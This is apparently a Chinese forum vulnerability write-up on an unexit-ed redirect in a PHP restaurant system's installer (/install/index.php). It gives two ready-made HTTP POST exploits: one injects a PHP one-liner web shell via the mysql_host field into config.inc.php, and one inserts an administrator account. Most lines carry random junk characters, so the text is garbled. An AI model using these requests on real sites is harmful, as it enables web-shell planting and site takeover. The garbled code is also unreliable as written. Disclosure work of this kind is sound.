问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
3 x" Z2 J' {* y4 H+ `* Z" @! e# @4 Y: ]' @: W7 `
<?php
& _+ u+ o, s8 U- X. f7 eif(file_exists("../install.lock"))! X8 L, @0 ?6 \/ h9 Z% u
{/ n N8 n2 _) L% G D
header("Location: ../");//没有退出
. T# o1 F) }" A, o& m0 a}
: `( ]2 }; y/ H) j* M3 y, l
0 A/ }$ Z: |) [& f* Q//echo 'tst';exit;
5 V# O7 O: \+ @+ D1 z5 T& erequire_once("init.php");- ?; I# D! y$ t! L* D$ x, A
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)7 H) d: J5 @- E$ [6 y7 Y! x8 T9 ]
{
/ s4 f6 y4 L* L5 k可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。4 t4 {* D! \0 ~4 W( V9 I, H
8 w8 {. E% j) [: R2 M1、getshell(很危险)
/ j: j8 j- m3 z, b9 Vif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. M9 W/ O' x3 c; S9 w+ |{+ r$ @5 P1 ~; }) }6 t" X
$smarty->assign("step",1);3 q6 E/ v* ^. P( u1 }1 f
$smarty->display("index.html");! }1 ]- J" E. m3 U3 Y
}elseif($_REQUEST['step']==2)/ T! n; }; W8 r* J% z- o; G
{
( l* q: e& J2 F7 s4 T' ~ $mysql_host=trim($_POST['mysql_host']);- P$ C0 j8 {' p& g
$mysql_user=trim($_POST['mysql_user']);) W5 v* w0 O( X* p! ~+ v$ x
$mysql_pwd=trim($_POST['mysql_pwd']);
2 U- U- @# O) A A# Z $mysql_db=trim($_POST['mysql_db']);
" _7 |- P3 l2 W2 d$ F0 ~2 p $tblpre=trim($_POST['tblpre']);
# }7 a8 Q& m" e/ ~! @8 R) X4 G& W) X: k $domain==trim($_POST['domain']);
3 D2 P% s- m3 d1 _% c9 _5 I $str="<?php \r\n";
, y& e" ^. h1 Q) ~- a( t; U $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";! Z6 V; O# O0 A
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
1 g, {3 v! X) s9 _, e $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
5 O% A: m5 ^6 Y5 {( p4 G( F6 l+ g $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
" i E7 p4 _" ~; ?+ g/ Z4 |0 _7 y $str.='define("MYSQL_CHARSET","GBK");'."\r\n";. W% n' y$ Z$ c1 y9 C
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
9 @" [4 {* v; F* e$ A& @6 h $str.='define("DOMAIN","'.$domain.'");'."\r\n";
5 a I: q2 C7 Q5 J $str.='define("SKINS","default");'."\r\n";9 t! G o) A0 S j( k+ @
$str.='?>';
5 x) M4 ], I( r# ^" m; F1 f file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
/ u# G, H7 I N. a6 j上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 f5 i6 J. _, k" L' H& HPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
) h5 B( F" n% J" r# n. h5 [Host: 192.168.80.129, U- J" r% e4 n9 J* Y- M* Q
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.00 M7 p5 x J2 a, D ?7 L
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- D8 B5 y+ n0 {7 RAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3! x. `6 l! |$ ~6 D
Accept-Encoding: gzip, deflate
r( Q, G A _8 }, NReferer: http://192.168.80.129/canting/install/index.php?step=1* _% t9 P( }. i7 t' L& }$ r5 p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 d: d' I/ w- V7 EContent-Type: application/x-www-form-urlencoded
8 q' j& b5 ]3 ]0 oContent-Length: 126% |8 z# q. M/ V9 G3 B, Q5 M
1 Q; H* |- l+ G! J2 ~" y
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD) ] K/ w% p: ?' e W4 l8 z
但是这个方法很危险,将导致网站无法运行。
) C$ z1 i/ V$ U- B- F, k. s/ F4 o4 m# a- p* `6 e- d
2、直接添加管理员9 ~2 J8 F+ P9 D# l- }0 g
: ~7 Q- n& x5 Q4 K2 u" qelseif($_REQUEST['step']==5)( c/ d9 w/ q [3 A8 c
{. }1 l `8 b- f1 M4 b
if($_POST)- Q' C [5 E6 X) a- M8 ]* H
{ require_once("../config/config.inc.php");3 o, V( d1 H# O* g
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
7 r d/ ^' o6 c7 G- d9 V mysql_select_db(MYSQL_DB,$link);, _8 {- s$ p: [5 A3 E N( ^. q
mysql_query("SET NAMES ".MYSQL_CHARSET );! z8 d7 z* j, J7 H. A
mysql_query("SET sql_mode=''");( C/ |. x c* ?1 n* S. T
! w6 x9 z4 s/ i. [7 M
$adminname=trim($_POST['adminname']);
% O$ F* j+ K5 _9 M$ d $pwd1=trim($_POST['pwd1']);
5 v! T8 n* W7 y4 d4 o+ Q3 @/ d+ R $pwd2=trim($_POST['pwd2']);8 i6 O" Q9 i7 [9 T& F) s9 j
if(empty($adminname))! i, c% J* y! K
{6 j: @# ~: R; Q
. S; U! L) R# z% Y# n. @
echo "<script>alert('管理员不能为空');history.go(-1);</script>";* E- d, U- B r+ V6 k7 z
exit();. w+ B0 u$ C# s. N
}
7 @$ r) d3 I* k* C! l if(($pwd1!=$pwd2) or empty($pwd1))" |* t9 K, ~+ c; b5 P% S
{) H+ _0 ^0 ~& {* E) }* @
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
5 |& I4 ]! D5 j+ t }1 m' ?" |9 J# B
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员 p" ]7 E5 O Z
}
* |" R) @4 [5 Y+ ^这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:0 r( x3 b/ X2 P* A! a
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
7 a' E& K, e, W1 O9 U0 OHost: 192.168.80.129
. D6 B; D L& D! N |User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0( I4 i" _* a! M# Z( b$ M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- E+ A2 r2 W2 UAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3+ | T. g8 v: S0 T' _& w8 L# \. x/ }
Accept-Encoding: gzip, deflate
, H5 Y* j/ K0 DReferer: http://www.2cto.com /canting/install/index.php?step=1
3 e0 M# T) x( E8 c/ J3 [5 ?Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42& A a" w2 ]* `' \6 |2 o
Content-Type: application/x-www-form-urlencoded, U: ]% s+ r- m* q/ Q: M e0 y
Content-Length: 46# B: @) k6 O4 D$ q" T: t
& N- G0 X3 u; [) T3 ~% @' v. ?
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
" U" O* P1 R% ^6 n* H. H% \ |